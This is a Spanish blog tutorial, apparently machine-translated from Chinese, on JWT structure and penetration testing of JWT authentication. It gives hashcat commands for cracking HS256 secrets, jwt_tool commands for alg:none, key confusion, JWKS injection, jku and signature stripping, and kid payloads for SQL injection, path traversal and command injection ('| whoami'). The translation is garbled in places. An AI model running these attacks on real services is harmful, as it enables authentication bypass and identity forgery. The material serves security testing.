análisis JWT

introducir:

JWT (JSON Web Tokens) es un estándar abierto para la protección de mensajes de la capa de aplicación (RFC 7519), que especifica un método de implementación de Token en formato JSON. Se ha utilizado ampliamente en varios mecanismos de autenticación en los últimos años, pero también existe el riesgo de un mal uso y los consiguientes problemas de seguridad.

Formato JWT:

Un formato JWT es el siguiente:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 
eyJ1c2VyIjoiYWRtaW4iLCJhY3Rpb24iOiJwcm9maWxlIn0 
_LRRXAfXtnagdyB1uRk-7CfkK1RESGwxqQCdwCNSPaI

Utiliza cifrado BASE64 y, después del descifrado, puede ver que el contenido es:

{ 
    "typ": "JWT", 
    "alg": "HS256" 
} 
{ 
    "user": "admin", 
    "action": "profile" 
} 
_LRRXAfXtnagdyB1uRk-7CfkK1RESGwxqQCdwCNSPaI

Consta de tres partes, que incluyen encabezado, carga útil y firma.

El encabezado normalmente consta de dos partes: el tipo de token, que es JWT, y el algoritmo hash que se utiliza, como HMAC SHA256 o RSA.

La carga útil contendrá cierta información de identidad del usuario. Opciones comunes:

iss: emisor de jwt 
sub: usuario orientado a jwt 
aud: la parte que recibe jwt 
exp: el tiempo de vencimiento de jwt, que debe ser mayor que el tiempo de emisión 
nbf: define cuándo el jwt no está disponible 
iat: tiempo de emisión de jwt 
jti: el Identidad única de jwt, utilizada principalmente como token de una sola vez para evitar ataques de repetición.

La firma es una firma, que consiste en combinar el encabezado anterior, la información de carga útil y una clave y usar el algoritmo en el encabezado para cifrar. Los diferentes algoritmos de cifrado utilizan y verifican principalmente la clave:

    HS256 utiliza la misma "clave_secreta" para firma y verificación (cifrado simétrico). Una vez que se filtra la clave secreta, no hay seguridad alguna. Por lo tanto, HS256 solo es adecuado para autenticación centralizada y tanto la firma como la verificación deben ser realizadas por una parte confiable. Las aplicaciones monolíticas tradicionales utilizan ampliamente este algoritmo, ¡pero no lo utilice en ninguna arquitectura distribuida! 
    RS256 utiliza una clave privada RSA para la firma y una clave pública RSA para la verificación. Incluso si se filtra la clave pública, no tiene ningún efecto, siempre y cuando la clave privada se mantenga segura. RS256 puede delegar la autenticación a otras aplicaciones proporcionándoles la clave pública. 
    Al igual que RS256, ES256 utiliza firma de clave privada y verificación de clave pública. No hay mucha diferencia en la velocidad del algoritmo, pero la longitud de su firma es mucho más corta (ahorrando tráfico) y la potencia de su algoritmo es similar a la de RS256.

Función de JWT:

La función de JWT es principalmente la autenticación, porque se puede ver en Internet que existe la autenticación correspondiente.

  1. Autenticación Autenticación;
  2. Autorización Autorización;
  3. identificación conjunta;
  4. sesión de cliente (sesión sin estado);
  5. Secreto del cliente.

Explicación de algunos términos de JWT:

En ocasiones podemos ver términos relacionados con JWT, aquí una explicación:

JWS: JWT firmado jwt firmado, la especificación de operación para firma digital en formato JWT 
JWE: JWT cifrado parte de la carga útil jwt cifrado; actualmente la operación de cifrado de carga útil no es muy popular; 
JWK: clave JWT, que es lo que a menudo decimos secreto ; 
JWKset: el conjunto de claves JWT requiere un par de claves en lugar de una única clave en cifrado asimétrico; 
JWA: el algoritmo criptográfico utilizado por el JWT actual; 
JWT no seguro: cuando el algoritmo de firma del encabezado está configurado Cuando no es ninguno, el JWT es inseguro; debido a que la parte de la firma está en blanco, cualquiera puede modificarla.

Prueba sencilla JWT:

Cómo saber si hay un token JWT, porque debe estar codificado en base64, así que solo preste atención a los datos codificados en base64 correspondientes. Puede usar las siguientes expresiones regulares cuando use BP:

[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* - versión JWT segura para URL [= ]eyJ[A-Za-z0-9_\ 
/ +-]*\.[A-Za-z0-9._\/+-]* - todas las versiones de JWT (mayor posibilidad de falsos positivos)

Cuando se encuentra un token JWT, se puede descifrar utilizando la siguiente URL:

https://jwt.io/

Luego reproduzca el siguiente paquete de datos, juzgue el ciclo de vida del token devolviendo el resultado y determine si es un token de un solo uso.

Luego modifique parte del contenido, reprodúzcalo después del cifrado y observe si el resultado devuelto genera un error. Si aún se puede acceder a él normalmente, demuestra que está verificado por la clave y la identidad se puede falsificar;

Observe su origen. Si proviene del cliente y es generado por el cliente, vaya a js para encontrar la clave correspondiente y luego use la clave encontrada para cifrar los datos para la falsificación de identidad. Si se obtiene del servidor, vaya a el siguiente paso; 

voladura:

Hay dos formas de explotar usando hashcat o jwt_tool.py. Yo uso hashcat aquí. Podemos usar el libro de contraseñas o la máscara para descifrar. Primero, guarde el texto cifrado en el texto:

Un ejemplo sencillo de configuración de una máscara:

八位数字密码:?d?d?d?d?d?d?d?d
八位未知密码:?a?a?a?a?a?a?a?a
前四位为大写字母,后面四位为数字:?u?u?u?u?d?d?d?d
前四位为数字或者是小写字母,后四位为大写字母或者数字:?h?h?h?h?H?H?H?H
前三个字符未知,中间为admin,后三位未知:?a?a?aadmin?a?a?a
6-8位数字密码:--increment --increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l
6-8位数字+小写字母密码:--increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h

hashcat -a 0 -m 16500 jwt.txt pass.txt
hashcat -a 3 -m 16500 jwt.txt ?d?d?d?d?d?d?d?d?d

Explotación:

Aquí podemos usar el ataque jwt_tool para explotar vulnerabilidades conocidas de jwt:

CVE-2015-9235:-X un

Establezca "alg": "none" , sin firma, determine si el servidor deshabilita la configuración none y use jwt_tool para generar:

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE2OTI4MDE1NTAsImlkIjoie1wiaWRcIjo1NDk4NzcsXCJsb2dpblRpbWVcIjoxNjkyODAxNTUwNTM3LFwidGltZXN0YW1wXCI6MTY5MjgwNDIyODkzN30iLCJpYXQiOjE2OTI4MDE1NTAsImp0aSI6Imhia3d1eSJ9.kDpjuaix2T3AiixJQ3IvBQx8hB_g8fnF1Hev0GtH13U -X a

produce cuatro resultados para ningún caso: 

 Si el paquete de reproducción puede devolver datos normalmente después de modificarlos a ninguno, demuestra que existe la vulnerabilidad;

CVE-2016-5431 (ataque de ofuscación de clave): -X k

El algoritmo HS256 utiliza una clave secreta para firmar y verificar cada mensaje. El algoritmo RS256 utiliza una clave privada para firmar mensajes y una clave pública para la autenticación.
Si el algoritmo se cambia de RS256 a HS256, el código de fondo usa la clave pública como clave secreta y luego usa el algoritmo HS256 para verificar la firma.
Luego, usando la clave pública y cambiando RS256 a HS256, podemos crear una firma válida. Puede recuperar el certificado del servidor web haciendo esto:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Primero use el indicador -V de jwt_tool junto con el parámetro -pk public.pem para verificar que la clave pública que encontró coincida con la clave utilizada para firmar el token; tenga en cuenta que el PEM debe contener una nueva línea al final, pero algunas herramientas exportan Es posible que se ignoren las claves.

Luego use el modo de ofuscación de claves de jwt_tool para crear un nuevo token de ataque
python3 jwt_tool.py JWT_HERE -X k -pk pubkey.pem

CVE-2018-0114 (inyección JWKS): -Xi

Cree un nuevo par de certificados RSA, inyecte el archivo JWKS que contiene los detalles de la clave pública y firme los datos con la clave privada. Si tiene éxito, la aplicación debería autenticarse utilizando los datos clave que proporcionó.
Utilice jwt_tool para inyectar un JWKS personalizado que contenga una clave pública generada automáticamente y firme el token con la clave privada correspondiente.

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE2OTI4MDE1NTAsImlkIjoie1wiaWRcIjo1NDk4NzcsXCJsb2dpblRpbWVcIjoxNjkyODAxNTUwNTM3LFwidGltZXN0YW1wXCI6MTY5MjgwNDIyODkzN30iLCJpYXQiOjE2OTI4MDE1NTAsImp0aSI6Imhia3d1eSJ9.kDpjuaix2T3AiixJQ3IvBQx8hB_g8fnF1Hev0GtH13U -X i

Utilice la inyección de certificado RSA creada para ver si los datos devueltos por el servidor son normales, si son normales, existe una vulnerabilidad:

CVE-2020-28042: -X n

 Retire la firma al final del token. Si hay una vulnerabilidad, la aplicación ignorará la verificación de la firma, que se puede eliminar manualmente o con una herramienta:

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE2OTI4MDE1NTAsImlkIjoie1wiaWRcIjo1NDk4NzcsXCJsb2dpblRpbWVcIjoxNjkyODAxNTUwNTM3LFwidGltZXN0YW1wXCI6MTY5MjgwNDIyODkzN30iLCJpYXQiOjE2OTI4MDE1NTAsImp0aSI6Imhia3d1eSJ9.kDpjuaix2T3AiixJQ3IvBQx8hB_g8fnF1Hev0GtH13U -X n

Simplemente elimine la última firma:

Algoritmo en blanco:

Cambie alg a none y podrá eliminar la última firma, pero consérvela para garantizar el formato correcto:

Si el servidor devuelve un resultado normal, demuestra que existe una vulnerabilidad;

Modificar JKU: -X s

El encabezado jku se usa para obtener el archivo jwks (claves web json), que es un archivo json que se usa para especificar la clave a obtener. Simplemente podemos alojar nuestro propio archivo JWKS y apuntar su jku a nuestro servidor.

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE2OTI4MDE1NTAsImlkIjoie1wiaWRcIjo1NDk4NzcsXCJsb2dpblRpbWVcIjoxNjkyODAxNTUwNTM3LFwidGltZXN0YW1wXCI6MTY5MjgwNDIyODkzN30iLCJpYXQiOjE2OTI4MDE1NTAsImp0aSI6Imhia3d1eSJ9.kDpjuaix2T3AiixJQ3IvBQx8hB_g8fnF1Hev0GtH13U -X s

Podemos usar jwt_tool para definir el valor de jku nosotros mismos. Cuando el servidor obtenga los datos, irá a la dirección de jku para obtener la clave de descifrado. 

Modificar x5u:

URL X.509. Un URI que apunta a un conjunto de certificados públicos X.509 (estándar de formato de certificado) codificados con PEM. El primer certificado del conjunto debe ser el utilizado para firmar este JWT. Todos los certificados posteriores firman el certificado anterior, completando la cadena de certificados. X.509 se define en RFC 52807. Los certificados de transporte exigen seguridad en el transporte.

Cree un certificado y extraiga las claves pública y privada:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

 

Modificar NIÑO:

En el encabezado del JWT, además de typ y alg, puede haber otros contenidos. El encabezado KID es un identificador clave. Kid es el lugar utilizado para indicar la ubicación de almacenamiento de la clave en el estándar RFC, y el servidor puede encontrar la clave de descifrado de acuerdo con esta sugerencia.
Dependiendo de cómo esté escrito el código, pueden existir los siguientes problemas

{
    "alg": "HS256",
    "typ": "JWT",
    "kid": "1"        //使用密钥1验证token
}

inyección SQL:

Puede existir inyección SQL cuando existe la siguiente declaración para obtener valores de la base de datos.

"kid":"aaaaaaa' UNION SELECT 'key';--" //使用字符串"key"验证token

Recorrido del directorio:

Dado que los KID se utilizan a menudo para recuperar archivos clave del sistema de archivos, el sistema de archivos puede ser vulnerable a ataques de cruce de directorios si el KID no se desinfecta antes de su uso. Esto permite a un atacante especificar un archivo arbitrario en el sistema de archivos como clave para la autenticación.

"kid": "../../public/css/main.css"   //使用公共文件main.css验证token

Ejecución de comando:

A veces, pasar el parámetro KID directamente a una operación de lectura de archivo no segura puede permitir que se inyecten algunos comandos en el flujo de código.

"kid": "key_file" | whoami;

 CVE-2022-25898:

Información oficial de vulnerabilidad:

El paquete jsrsasign anterior a la versión 10.5.25 era vulnerable a una validación de firma criptográfica incorrecta cuando las firmas JWS o JWT que contenían caracteres especiales no codificados en Base64URL o caracteres de escape numéricos podían validarse incorrectamente como válidas. Solución alternativa: antes de ejecutar el método JWS.verify() o JWS.verifyJWT(), verifique que la firma JWS o JWT tenga una cadena de seguridad Base64URL y punto.

Según el poc publicado, la información clave extraída es:

//验证有效和无效的 HS256 JWT 有效性JWT
var validJwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vZm9vLmNvbSIsInN1YiI6Im1haWx0bzptaWtlQGZvby5jb20iLCJuYmYiOjE2NTUyMjk3MjksImlhdCI6MTY1NTIyOTcyOSwiZXhwIjoxNjg2NzY1NzI5LCJqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL2VtcGxveWVlIn0.eqrgPFuchnot7HgslW8S 1xQUkTDBW-_cyhrPgOOFRzI";

//带有特殊标志的 JWT 无效
var invalidJwt1 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vZm9vLmNvbSIsInN1YiI6Im1haWx0bzptaWtlQGZvby5jb20iLCJuYmYiOjE2NTUyMjk3MjksImlhdCI6MTY1NTIyOTcyOSwiZXhwIjoxNjg2NzY1NzI5LCJqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL2VtcGxveWVlIn0.eqrgPFuchno!@#$%^&* ()!@#$%^&*()!@#$%^&*()!@#$%^&*()t7HgslW8S1xQUkTDBW-_cyhrPgOOFRzI"; 

//带有附加数字和符号的无效 JWT
var invalidJwt2 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vZm9vLmNvbSIsInN1YiI6Im1haWx0bzptaWtlQGZvby5jb20iLCJuYmYiOjE2NTUyMjk3MjksImlhdCI6MTY1NTIyOTcyOSwiZXhwIjoxNjg2NzY1NzI5LCJqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL2VtcGxveWVlIn0.eqrgPFuchno\1\1\2\3\4\2\2\3\2\1\2\222\3\1\1\2\2\2\2\2\2\2\2\2\2\2\2\222\23\2\2\2\2t7HgslW8S1xQUkTDBW-_cyhrPgOOFRzI"; 

Es decir, si se añaden caracteres especiales a la firma, también se verificará que la firma incorrecta sea correcta.

Resumir:

Según los métodos en Internet y los ataques actuales a JWT probados por mí son casi los anteriores. El ataque depende principalmente de la conciencia de seguridad del administrador del servidor objetivo. Si la configuración es incorrecta, la clave se filtra o la versión es demasiado bajo, se puede omitir la autenticación y luego se puede falsificar la identidad para atacar.

Supongo que te gusta

Origin blog.csdn.net/GalaxySpaceX/article/details/132467878
Recomendado
Clasificación